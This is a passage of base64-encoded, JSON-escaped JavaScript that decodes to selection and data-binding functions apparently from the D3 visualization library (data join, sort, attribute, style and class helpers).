lsZCwgdGhpcy5fbmV4dCk7IH0sXG4gICAgaW5zZXJ0QmVmb3JlOiBmdW5jdGlvbihjaGlsZCwgbmV4dCkgeyByZXR1cm4gdGhpcy5fcGFyZW50Lmluc2VydEJlZm9yZShjaGlsZCwgbmV4dCk7IH0sXG4gICAgcXVlcnlTZWxlY3RvcjogZnVuY3Rpb24oc2VsZWN0b3IpIHsgcmV0dXJuIHRoaXMuX3BhcmVudC5xdWVyeVNlbGVjdG9yKHNlbGVjdG9yKTsgfSxcbiAgICBxdWVyeVNlbGVjdG9yQWxsOiBmdW5jdGlvbihzZWxlY3RvcikgeyByZXR1cm4gdGhpcy5fcGFyZW50LnF1ZXJ5U2VsZWN0b3JBbGwoc2VsZWN0b3IpOyB9XG4gIH07XG5cbiAgZnVuY3Rpb24gY29uc3RhbnQoeCkge1xuICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgIHJldHVybiB4O1xuICAgIH07XG4gIH1cblxuICB2YXIga2V5UHJlZml4ID0gXCIkXCI7IC8vIFByb3RlY3QgYWdhaW5zdCBrZXlzIGxpa2Ug4oCcX19wcm90b19f4oCdLlxuXG4gIGZ1bmN0aW9uIGJpbmRJbmRleChwYXJlbnQsIGdyb3VwLCBlbnRlciwgdXBkYXRlLCBleGl0LCBkYXRhKSB7XG4gICAgdmFyIGkgPSAwLFxuICAgICAgICBub2RlLFxuICAgICAgICBncm91cExlbmd0aCA9IGdyb3VwLmxlbmd0aCxcbiAgICAgICAgZGF0YUxlbmd0aCA9IGRhdGEubGVuZ3RoO1xuXG4gICAgLy8gUHV0IGFueSBub24tbnVsbCBub2RlcyB0aGF0IGZpdCBpbnRvIHVwZGF0ZS5cbiAgICAvLyBQdXQgYW55IG51bGwgbm9kZXMgaW50byBlbnRlci5cbiAgICAvLyBQdXQgYW55IHJlbWFpbmluZyBkYXRhIGludG8gZW50ZXIuXG4gICAgZm9yICg7IGkgPCBkYXRhTGVuZ3RoOyArK2kpIHtcbiAgICAgIGlmIChub2RlID0gZ3JvdXBbaV0pIHtcbiAgICAgICAgbm9kZS5fX2RhdGFfXyA9IGRhdGFbaV07XG4gICAgICAgIHVwZGF0ZVtpXSA9IG5vZGU7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBlbnRlcltpXSA9IG5ldyBFbnRlck5vZGUocGFyZW50LCBkYXRhW2ldKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvLyBQdXQgYW55IG5vbi1udWxsIG5vZGVzIHRoYXQgZG9u4oCZdCBmaXQgaW50byBleGl0LlxuICAgIGZvciAoOyBpIDwgZ3JvdXBMZW5ndGg7ICsraSkge1xuICAgICAgaWYgKG5vZGUgPSBncm91cFtpXSkge1xuICAgICAgICBleGl0W2ldID0gbm9kZTtcbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiBiaW5kS2V5KHBhcmVudCwgZ3JvdXAsIGVudGVyLCB1cGRhdGUsIGV4aXQsIGRhdGEsIGtleSkge1xuICAgIHZhciBpLFxuICAgICAgICBub2RlLFxuICAgICAgICBub2RlQnlLZXlWYWx1ZSA9IHt9LFxuICAgICAgICBncm91cExlbmd0aCA9IGdyb3VwLmxlbmd0aCxcbiAgICAgICAgZGF0YUxlbmd0aCA9IGRhdGEubGVuZ3RoLFxuICAgICAgICBrZXlWYWx1ZXMgPSBuZXcgQXJyYXkoZ3JvdXBMZW5ndGgpLFxuICAgICAgICBrZXlWYWx1ZTtcblxuICAgIC8vIENvbXB1dGUgdGhlIGtleSBmb3IgZWFjaCBub2RlLlxuICAgIC8vIElmIG11bHRpcGxlIG5vZGVzIGhhdmUgdGhlIHNhbWUga2V5LCB0aGUgZHVwbGljYXRlcyBhcmUgYWRkZWQgdG8gZXhpdC5cbiAgICBmb3IgKGkgPSAwOyBpIDwgZ3JvdXBMZW5ndGg7ICsraSkge1xuICAgICAgaWYgKG5vZGUgPSBncm91cFtpXSkge1xuICAgICAgICBrZXlWYWx1ZXNbaV0gPSBrZXlWYWx1ZSA9IGtleVByZWZpeCArIGtleS5jYWxsKG5vZGUsIG5vZGUuX19kYXRhX18sIGksIGdyb3VwKTtcbiAgICAgICAgaWYgKGtleVZhbHVlIGluIG5vZGVCeUtleVZhbHVlKSB7XG4gICAgICAgICAgZXhpdFtpXSA9IG5vZGU7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgbm9kZUJ5S2V5VmFsdWVba2V5VmFsdWVdID0gbm9kZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cblxuICAgIC8vIENvbXB1dGUgdGhlIGtleSBmb3IgZWFjaCBkYXR1bS5cbiAgICAvLyBJZiB0aGVyZSBhIG5vZGUgYXNzb2NpYXRlZCB3aXRoIHRoaXMga2V5LCBqb2luIGFuZCBhZGQgaXQgdG8gdXBkYXRlLlxuICAgIC8vIElmIHRoZXJlIGlzIG5vdCAob3IgdGhlIGtleSBpcyBhIGR1cGxpY2F0ZSksIGFkZCBpdCB0byBlbnRlci5cbiAgICBmb3IgKGkgPSAwOyBpIDwgZGF0YUxlbmd0aDsgKytpKSB7XG4gICAgICBrZXlWYWx1ZSA9IGtleVByZWZpeCArIGtleS5jYWxsKHBhcmVudCwgZGF0YVtpXSwgaSwgZGF0YSk7XG4gICAgICBpZiAobm9kZSA9IG5vZGVCeUtleVZhbHVlW2tleVZhbHVlXSkge1xuICAgICAgICB1cGRhdGVbaV0gPSBub2RlO1xuICAgICAgICBub2RlLl9fZGF0YV9fID0gZGF0YVtpXTtcbiAgICAgICAgbm9kZUJ5S2V5VmFsdWVba2V5VmFsdWVdID0gbnVsbDtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGVudGVyW2ldID0gbmV3IEVudGVyTm9kZShwYXJlbnQsIGRhdGFbaV0pO1xuICAgICAgfVxuICAgIH1cblxuICAgIC8vIEFkZCBhbnkgcmVtYWluaW5nIG5vZGVzIHRoYXQgd2VyZSBub3QgYm91bmQgdG8gZGF0YSB0byBleGl0LlxuICAgIGZvciAoaSA9IDA7IGkgPCBncm91cExlbmd0aDsgKytpKSB7XG4gICAgICBpZiAoKG5vZGUgPSBncm91cFtpXSkgJiYgKG5vZGVCeUtleVZhbHVlW2tleVZhbHVlc1tpXV0gPT09IG5vZGUpKSB7XG4gICAgICAgIGV4aXRbaV0gPSBub2RlO1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9kYXRhKHZhbHVlLCBrZXkpIHtcbiAgICBpZiAoIXZhbHVlKSB7XG4gICAgICBkYXRhID0gbmV3IEFycmF5KHRoaXMuc2l6ZSgpKSwgaiA9IC0xO1xuICAgICAgdGhpcy5lYWNoKGZ1bmN0aW9uKGQpIHsgZGF0YVsrK2pdID0gZDsgfSk7XG4gICAgICByZXR1cm4gZGF0YTtcbiAgICB9XG5cbiAgICB2YXIgYmluZCA9IGtleSA/IGJpbmRLZXkgOiBiaW5kSW5kZXgsXG4gICAgICAgIHBhcmVudHMgPSB0aGlzLl9wYXJlbnRzLFxuICAgICAgICBncm91cHMgPSB0aGlzLl9ncm91cHM7XG5cbiAgICBpZiAodHlwZW9mIHZhbHVlICE9PSBcImZ1bmN0aW9uXCIpIHZhbHVlID0gY29uc3RhbnQodmFsdWUpO1xuXG4gICAgZm9yICh2YXIgbSA9IGdyb3Vwcy5sZW5ndGgsIHVwZGF0ZSA9IG5ldyBBcnJheShtKSwgZW50ZXIgPSBuZXcgQXJyYXkobSksIGV4aXQgPSBuZXcgQXJyYXkobSksIGogPSAwOyBqIDwgbTsgKytqKSB7XG4gICAgICB2YXIgcGFyZW50ID0gcGFyZW50c1tqXSxcbiAgICAgICAgICBncm91cCA9IGdyb3Vwc1tqXSxcbiAgICAgICAgICBncm91cExlbmd0aCA9IGdyb3VwLmxlbmd0aCxcbiAgICAgICAgICBkYXRhID0gdmFsdWUuY2FsbChwYXJlbnQsIHBhcmVudCAmJiBwYXJlbnQuX19kYXRhX18sIGosIHBhcmVudHMpLFxuICAgICAgICAgIGRhdGFMZW5ndGggPSBkYXRhLmxlbmd0aCxcbiAgICAgICAgICBlbnRlckdyb3VwID0gZW50ZXJbal0gPSBuZXcgQXJyYXkoZGF0YUxlbmd0aCksXG4gICAgICAgICAgdXBkYXRlR3JvdXAgPSB1cGRhdGVbal0gPSBuZXcgQXJyYXkoZGF0YUxlbmd0aCksXG4gICAgICAgICAgZXhpdEdyb3VwID0gZXhpdFtqXSA9IG5ldyBBcnJheShncm91cExlbmd0aCk7XG5cbiAgICAgIGJpbmQocGFyZW50LCBncm91cCwgZW50ZXJHcm91cCwgdXBkYXRlR3JvdXAsIGV4aXRHcm91cCwgZGF0YSwga2V5KTtcblxuICAgICAgLy8gTm93IGNvbm5lY3QgdGhlIGVudGVyIG5vZGVzIHRvIHRoZWlyIGZvbGxvd2luZyB1cGRhdGUgbm9kZSwgc3VjaCB0aGF0XG4gICAgICAvLyBhcHBlbmRDaGlsZCBjYW4gaW5zZXJ0IHRoZSBtYXRlcmlhbGl6ZWQgZW50ZXIgbm9kZSBiZWZvcmUgdGhpcyBub2RlLFxuICAgICAgLy8gcmF0aGVyIHRoYW4gYXQgdGhlIGVuZCBvZiB0aGUgcGFyZW50IG5vZGUuXG4gICAgICBmb3IgKHZhciBpMCA9IDAsIGkxID0gMCwgcHJldmlvdXMsIG5leHQ7IGkwIDwgZGF0YUxlbmd0aDsgKytpMCkge1xuICAgICAgICBpZiAocHJldmlvdXMgPSBlbnRlckdyb3VwW2kwXSkge1xuICAgICAgICAgIGlmIChpMCA+PSBpMSkgaTEgPSBpMCArIDE7XG4gICAgICAgICAgd2hpbGUgKCEobmV4dCA9IHVwZGF0ZUdyb3VwW2kxXSkgJiYgKytpMSA8IGRhdGFMZW5ndGgpO1xuICAgICAgICAgIHByZXZpb3VzLl9uZXh0ID0gbmV4dCB8fCBudWxsO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuXG4gICAgdXBkYXRlID0gbmV3IFNlbGVjdGlvbih1cGRhdGUsIHBhcmVudHMpO1xuICAgIHVwZGF0ZS5fZW50ZXIgPSBlbnRlcjtcbiAgICB1cGRhdGUuX2V4aXQgPSBleGl0O1xuICAgIHJldHVybiB1cGRhdGU7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb25fZXhpdCgpIHtcbiAgICByZXR1cm4gbmV3IFNlbGVjdGlvbih0aGlzLl9leGl0IHx8IHRoaXMuX2dyb3Vwcy5tYXAoc3BhcnNlKSwgdGhpcy5fcGFyZW50cyk7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb25fbWVyZ2Uoc2VsZWN0aW9uKSB7XG5cbiAgICBmb3IgKHZhciBncm91cHMwID0gdGhpcy5fZ3JvdXBzLCBncm91cHMxID0gc2VsZWN0aW9uLl9ncm91cHMsIG0wID0gZ3JvdXBzMC5sZW5ndGgsIG0xID0gZ3JvdXBzMS5sZW5ndGgsIG0gPSBNYXRoLm1pbihtMCwgbTEpLCBtZXJnZXMgPSBuZXcgQXJyYXkobTApLCBqID0gMDsgaiA8IG07ICsraikge1xuICAgICAgZm9yICh2YXIgZ3JvdXAwID0gZ3JvdXBzMFtqXSwgZ3JvdXAxID0gZ3JvdXBzMVtqXSwgbiA9IGdyb3VwMC5sZW5ndGgsIG1lcmdlID0gbWVyZ2VzW2pdID0gbmV3IEFycmF5KG4pLCBub2RlLCBpID0gMDsgaSA8IG47ICsraSkge1xuICAgICAgICBpZiAobm9kZSA9IGdyb3VwMFtpXSB8fCBncm91cDFbaV0pIHtcbiAgICAgICAgICBtZXJnZVtpXSA9IG5vZGU7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG5cbiAgICBmb3IgKDsgaiA8IG0wOyArK2opIHtcbiAgICAgIG1lcmdlc1tqXSA9IGdyb3VwczBbal07XG4gICAgfVxuXG4gICAgcmV0dXJuIG5ldyBTZWxlY3Rpb24obWVyZ2VzLCB0aGlzLl9wYXJlbnRzKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9vcmRlcigpIHtcblxuICAgIGZvciAodmFyIGdyb3VwcyA9IHRoaXMuX2dyb3VwcywgaiA9IC0xLCBtID0gZ3JvdXBzLmxlbmd0aDsgKytqIDwgbTspIHtcbiAgICAgIGZvciAodmFyIGdyb3VwID0gZ3JvdXBzW2pdLCBpID0gZ3JvdXAubGVuZ3RoIC0gMSwgbmV4dCA9IGdyb3VwW2ldLCBub2RlOyAtLWkgPj0gMDspIHtcbiAgICAgICAgaWYgKG5vZGUgPSBncm91cFtpXSkge1xuICAgICAgICAgIGlmIChuZXh0ICYmIG5leHQgIT09IG5vZGUubmV4dFNpYmxpbmcpIG5leHQucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUobm9kZSwgbmV4dCk7XG4gICAgICAgICAgbmV4dCA9IG5vZGU7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gdGhpcztcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9zb3J0KGNvbXBhcmUpIHtcbiAgICBpZiAoIWNvbXBhcmUpIGNvbXBhcmUgPSBhc2NlbmRpbmc7XG5cbiAgICBmdW5jdGlvbiBjb21wYXJlTm9kZShhLCBiKSB7XG4gICAgICByZXR1cm4gYSAmJiBiID8gY29tcGFyZShhLl9fZGF0YV9fLCBiLl9fZGF0YV9fKSA6ICFhIC0gIWI7XG4gICAgfVxuXG4gICAgZm9yICh2YXIgZ3JvdXBzID0gdGhpcy5fZ3JvdXBzLCBtID0gZ3JvdXBzLmxlbmd0aCwgc29ydGdyb3VwcyA9IG5ldyBBcnJheShtKSwgaiA9IDA7IGogPCBtOyArK2opIHtcbiAgICAgIGZvciAodmFyIGdyb3VwID0gZ3JvdXBzW2pdLCBuID0gZ3JvdXAubGVuZ3RoLCBzb3J0Z3JvdXAgPSBzb3J0Z3JvdXBzW2pdID0gbmV3IEFycmF5KG4pLCBub2RlLCBpID0gMDsgaSA8IG47ICsraSkge1xuICAgICAgICBpZiAobm9kZSA9IGdyb3VwW2ldKSB7XG4gICAgICAgICAgc29ydGdyb3VwW2ldID0gbm9kZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgc29ydGdyb3VwLnNvcnQoY29tcGFyZU5vZGUpO1xuICAgIH1cblxuICAgIHJldHVybiBuZXcgU2VsZWN0aW9uKHNvcnRncm91cHMsIHRoaXMuX3BhcmVudHMpLm9yZGVyKCk7XG4gIH1cblxuICBmdW5jdGlvbiBhc2NlbmRpbmcoYSwgYikge1xuICAgIHJldHVybiBhIDwgYiA/IC0xIDogYSA+IGIgPyAxIDogYSA+PSBiID8gMCA6IE5hTjtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9jYWxsKCkge1xuICAgIHZhciBjYWxsYmFjayA9IGFyZ3VtZW50c1swXTtcbiAgICBhcmd1bWVudHNbMF0gPSB0aGlzO1xuICAgIGNhbGxiYWNrLmFwcGx5KG51bGwsIGFyZ3VtZW50cyk7XG4gICAgcmV0dXJuIHRoaXM7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb25fbm9kZXMoKSB7XG4gICAgdmFyIG5vZGVzID0gbmV3IEFycmF5KHRoaXMuc2l6ZSgpKSwgaSA9IC0xO1xuICAgIHRoaXMuZWFjaChmdW5jdGlvbigpIHsgbm9kZXNbKytpXSA9IHRoaXM7IH0pO1xuICAgIHJldHVybiBub2RlcztcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9ub2RlKCkge1xuXG4gICAgZm9yICh2YXIgZ3JvdXBzID0gdGhpcy5fZ3JvdXBzLCBqID0gMCwgbSA9IGdyb3Vwcy5sZW5ndGg7IGogPCBtOyArK2opIHtcbiAgICAgIGZvciAodmFyIGdyb3VwID0gZ3JvdXBzW2pdLCBpID0gMCwgbiA9IGdyb3VwLmxlbmd0aDsgaSA8IG47ICsraSkge1xuICAgICAgICB2YXIgbm9kZSA9IGdyb3VwW2ldO1xuICAgICAgICBpZiAobm9kZSkgcmV0dXJuIG5vZGU7XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIG51bGw7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb25fc2l6ZSgpIHtcbiAgICB2YXIgc2l6ZSA9IDA7XG4gICAgdGhpcy5lYWNoKGZ1bmN0aW9uKCkgeyArK3NpemU7IH0pO1xuICAgIHJldHVybiBzaXplO1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX2VtcHR5KCkge1xuICAgIHJldHVybiAhdGhpcy5ub2RlKCk7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb25fZWFjaChjYWxsYmFjaykge1xuXG4gICAgZm9yICh2YXIgZ3JvdXBzID0gdGhpcy5fZ3JvdXBzLCBqID0gMCwgbSA9IGdyb3Vwcy5sZW5ndGg7IGogPCBtOyArK2opIHtcbiAgICAgIGZvciAodmFyIGdyb3VwID0gZ3JvdXBzW2pdLCBpID0gMCwgbiA9IGdyb3VwLmxlbmd0aCwgbm9kZTsgaSA8IG47ICsraSkge1xuICAgICAgICBpZiAobm9kZSA9IGdyb3VwW2ldKSBjYWxsYmFjay5jYWxsKG5vZGUsIG5vZGUuX19kYXRhX18sIGksIGdyb3VwKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gdGhpcztcbiAgfVxuXG4gIGZ1bmN0aW9uIGF0dHJSZW1vdmUobmFtZSkge1xuICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgIHRoaXMucmVtb3ZlQXR0cmlidXRlKG5hbWUpO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBhdHRyUmVtb3ZlTlMoZnVsbG5hbWUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICB0aGlzLnJlbW92ZUF0dHJpYnV0ZU5TKGZ1bGxuYW1lLnNwYWNlLCBmdWxsbmFtZS5sb2NhbCk7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGF0dHJDb25zdGFudChuYW1lLCB2YWx1ZSkge1xuICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgIHRoaXMuc2V0QXR0cmlidXRlKG5hbWUsIHZhbHVlKTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gYXR0ckNvbnN0YW50TlMoZnVsbG5hbWUsIHZhbHVlKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgdGhpcy5zZXRBdHRyaWJ1dGVOUyhmdWxsbmFtZS5zcGFjZSwgZnVsbG5hbWUubG9jYWwsIHZhbHVlKTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gYXR0ckZ1bmN0aW9uKG5hbWUsIHZhbHVlKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgdmFyIHYgPSB2YWx1ZS5hcHBseSh0aGlzLCBhcmd1bWVudHMpO1xuICAgICAgaWYgKHYgPT0gbnVsbCkgdGhpcy5yZW1vdmVBdHRyaWJ1dGUobmFtZSk7XG4gICAgICBlbHNlIHRoaXMuc2V0QXR0cmlidXRlKG5hbWUsIHYpO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBhdHRyRnVuY3Rpb25OUyhmdWxsbmFtZSwgdmFsdWUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICB2YXIgdiA9IHZhbHVlLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gICAgICBpZiAodiA9PSBudWxsKSB0aGlzLnJlbW92ZUF0dHJpYnV0ZU5TKGZ1bGxuYW1lLnNwYWNlLCBmdWxsbmFtZS5sb2NhbCk7XG4gICAgICBlbHNlIHRoaXMuc2V0QXR0cmlidXRlTlMoZnVsbG5hbWUuc3BhY2UsIGZ1bGxuYW1lLmxvY2FsLCB2KTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX2F0dHIobmFtZSwgdmFsdWUpIHtcbiAgICB2YXIgZnVsbG5hbWUgPSBuYW1lc3BhY2UobmFtZSk7XG5cbiAgICBpZiAoYXJndW1lbnRzLmxlbmd0aCA8IDIpIHtcbiAgICAgIHZhciBub2RlID0gdGhpcy5ub2RlKCk7XG4gICAgICByZXR1cm4gZnVsbG5hbWUubG9jYWxcbiAgICAgICAgICA/IG5vZGUuZ2V0QXR0cmlidXRlTlMoZnVsbG5hbWUuc3BhY2UsIGZ1bGxuYW1lLmxvY2FsKVxuICAgICAgICAgIDogbm9kZS5nZXRBdHRyaWJ1dGUoZnVsbG5hbWUpO1xuICAgIH1cblxuICAgIHJldHVybiB0aGlzLmVhY2goKHZhbHVlID09IG51bGxcbiAgICAgICAgPyAoZnVsbG5hbWUubG9jYWwgPyBhdHRyUmVtb3ZlTlMgOiBhdHRyUmVtb3ZlKSA6ICh0eXBlb2YgdmFsdWUgPT09IFwiZnVuY3Rpb25cIlxuICAgICAgICA/IChmdWxsbmFtZS5sb2NhbCA/IGF0dHJGdW5jdGlvbk5TIDogYXR0ckZ1bmN0aW9uKVxuICAgICAgICA6IChmdWxsbmFtZS5sb2NhbCA/IGF0dHJDb25zdGFudE5TIDogYXR0ckNvbnN0YW50KSkpKGZ1bGxuYW1lLCB2YWx1ZSkpO1xuICB9XG5cbiAgZnVuY3Rpb24gZGVmYXVsdFZpZXcobm9kZSkge1xuICAgIHJldHVybiAobm9kZS5vd25lckRvY3VtZW50ICYmIG5vZGUub3duZXJEb2N1bWVudC5kZWZhdWx0VmlldykgLy8gbm9kZSBpcyBhIE5vZGVcbiAgICAgICAgfHwgKG5vZGUuZG9jdW1lbnQgJiYgbm9kZSkgLy8gbm9kZSBpcyBhIFdpbmRvd1xuICAgICAgICB8fCBub2RlLmRlZmF1bHRWaWV3OyAvLyBub2RlIGlzIGEgRG9jdW1lbnRcbiAgfVxuXG4gIGZ1bmN0aW9uIHN0eWxlUmVtb3ZlKG5hbWUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICB0aGlzLnN0eWxlLnJlbW92ZVByb3BlcnR5KG5hbWUpO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBzdHlsZUNvbnN0YW50KG5hbWUsIHZhbHVlLCBwcmlvcml0eSkge1xuICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgIHRoaXMuc3R5bGUuc2V0UHJvcGVydHkobmFtZSwgdmFsdWUsIHByaW9yaXR5KTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gc3R5bGVGdW5jdGlvbihuYW1lLCB2YWx1ZSwgcHJpb3JpdHkpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICB2YXIgdiA9IHZhbHVlLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gICAgICBpZiAodiA9PSBudWxsKSB0aGlzLnN0eWxlLnJlbW92ZVByb3BlcnR5KG5hbWUpO1xuICAgICAgZWxzZSB0aGlzLnN0eWxlLnNldFByb3BlcnR5KG5hbWUsIHYsIHByaW9yaXR5KTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX3N0eWxlKG5hbWUsIHZhbHVlLCBwcmlvcml0eSkge1xuICAgIHZhciBub2RlO1xuICAgIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID4gMVxuICAgICAgICA/IHRoaXMuZWFjaCgodmFsdWUgPT0gbnVsbFxuICAgICAgICAgICAgICA/IHN0eWxlUmVtb3ZlIDogdHlwZW9mIHZhbHVlID09PSBcImZ1bmN0aW9uXCJcbiAgICAgICAgICAgICAgPyBzdHlsZUZ1bmN0aW9uXG4gICAgICAgICAgICAgIDogc3R5bGVDb25zdGFudCkobmFtZSwgdmFsdWUsIHByaW9yaXR5ID09IG51bGwgPyBcIlwiIDogcHJpb3JpdHkpKVxuICAgICAgICA6IGRlZmF1bHRWaWV3KG5vZGUgPSB0aGlzLm5vZGUoKSlcbiAgICAgICAgICAgIC5nZXRDb21wdXRlZFN0eWxlKG5vZGUsIG51bGwpXG4gICAgICAgICAgICAuZ2V0UHJvcGVydHlWYWx1ZShuYW1lKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHByb3BlcnR5UmVtb3ZlKG5hbWUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICBkZWxldGUgdGhpc1tuYW1lXTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gcHJvcGVydHlDb25zdGFudChuYW1lLCB2YWx1ZSkge1xuICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgIHRoaXNbbmFtZV0gPSB2YWx1ZTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gcHJvcGVydHlGdW5jdGlvbihuYW1lLCB2YWx1ZSkge1xuICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgIHZhciB2ID0gdmFsdWUuYXBwbHkodGhpcywgYXJndW1lbnRzKTtcbiAgICAgIGlmICh2ID09IG51bGwpIGRlbGV0ZSB0aGlzW25hbWVdO1xuICAgICAgZWxzZSB0aGlzW25hbWVdID0gdjtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX3Byb3BlcnR5KG5hbWUsIHZhbHVlKSB7XG4gICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPiAxXG4gICAgICAgID8gdGhpcy5lYWNoKCh2YWx1ZSA9PSBudWxsXG4gICAgICAgICAgICA/IHByb3BlcnR5UmVtb3ZlIDogdHlwZW9mIHZhbHVlID09PSBcImZ1bmN0aW9uXCJcbiAgICAgICAgICAgID8gcHJvcGVydHlGdW5jdGlvblxuICAgICAgICAgICAgOiBwcm9wZXJ0eUNvbnN0YW50KShuYW1lLCB2YWx1ZSkpXG4gICAgICAgIDogdGhpcy5ub2RlKClbbmFtZV07XG4gIH1cblxuICBmdW5jdGlvbiBjbGFzc0FycmF5KHN0cmluZykge1xuICAgIHJldHVybiBzdHJpbmcudHJpbSgpLnNwbGl0KC9efFxccysvKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGNsYXNzTGlzdChub2RlKSB7XG4gICAgcmV0dXJuIG5vZGUuY2xhc3NMaXN0IHx8IG5ldyBDbGFzc0xpc3Qobm9kZSk7XG4gIH1cblxuICBmdW5jdGlvbiBDbGFzc0xpc3Qobm9kZSkge1xuICAgIHRoaXMuX25vZGUgPSBub2RlO1xuICAgIHRoaXMuX25hbWVzID0gY2xhc3NBcnJheShub2RlLmdldEF0dHJpYnV0ZShcImNsYXNzXCIpIHx8IFwiXCIpO1xuICB9XG5cbiAgQ2xhc3NMaXN0LnByb3RvdHlwZSA9IHtcbiAgICBhZGQ6IGZ1bmN0aW9uKG5hbWUpIHtcbiAgICAgIHZhciBpID0gdGhpcy5fbmFtZXMuaW5kZXhPZihuYW1lKTtcbiAgICAgIGlmIChpIDwgMCkge1xuICAgICAgICB0aGlzLl9uYW1lcy5wdXNoKG5hbWUpO1xuICAgICAgICB0aGlzLl9ub2RlLnNldEF0dHJpYnV0ZShcImNsYXNzXCIsIHRoaXMuX25hbWVzLmpvaW4oXCIgXCIpKTtcbiAgICAgIH1cbiAgICB9LFxuICAgIHJlbW92ZTogZnVuY3Rpb24obmFtZSkge1xuICAgICAgdmFyIGkgPSB0aGlzLl9uYW1lcy5pbmRleE9mKG5hbWUpO1xuICAgICAgaWYgKGkgPj0gMCkge1xuICAgICAgICB0aGlzLl9uYW1lcy5zcGxpY2UoaSwgMSk7XG4gICAgICAgIHRoaXMuX25vZGUuc2V0QXR0cmlidXRlKFwiY2xhc3NcIiwgdGhpcy5fbmFtZXMuam9pbihcIiBcIikpO1xuICAgICAgfVxuICAgIH0sXG4gICAgY29udGFpbnM6IGZ1bmN0aW9uKG5hbWUpIHtcbiAgICAgIHJldHVybiB0aGlzLl9uYW1lcy5pbmRleE9mKG5hbWUpID49IDA7XG4gICAgfVxuICB9O1xuXG4gIGZ1bmN0aW9uIGNsYXNzZWRBZGQobm9kZSwgbmFtZXMpIHtcbiAgICB2YXIgbGlzdCA9IGNsYXNzTGlzdChub2RlKSwgaSA9IC0xLCBuID0gbmFtZXMubGVuZ3RoO1xuICAgIHdoaWxlICgrK2kgPCBuKSBsaXN0LmFkZChuYW1lc1tpXSk7XG4gIH1cblxuICBmdW5jdGlvbiBjbGFzc2VkUmVtb3ZlKG5vZGUsIG5hbWVzKSB7XG4gICAgdmFyIGxpc3QgPSBjbGFzc0xpc3Qobm9kZSksIGkgPSAtMSwgbiA9IG5hbWVzLmxlbmd0aDtcbiAgICB3aGlsZSAoKytpIDwgbikgbGlzdC5yZW1vdmUobmFtZXNbaV0pO1xuICB9XG5cbiAgZnVuY3Rpb24gY2xhc3NlZFRydWUobmFtZXMpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICBjbGFzc2VkQWRkKHRoaXMsIG5hbWVzKTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gY2xhc3NlZEZhbHNlKG5hbWVzKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgY2xhc3NlZFJlbW92ZSh0aGlzLCBuYW1lcyk7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGNsYXNzZWRGdW5jdGlvbihuYW1lcywgdmFsdWUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICAodmFsd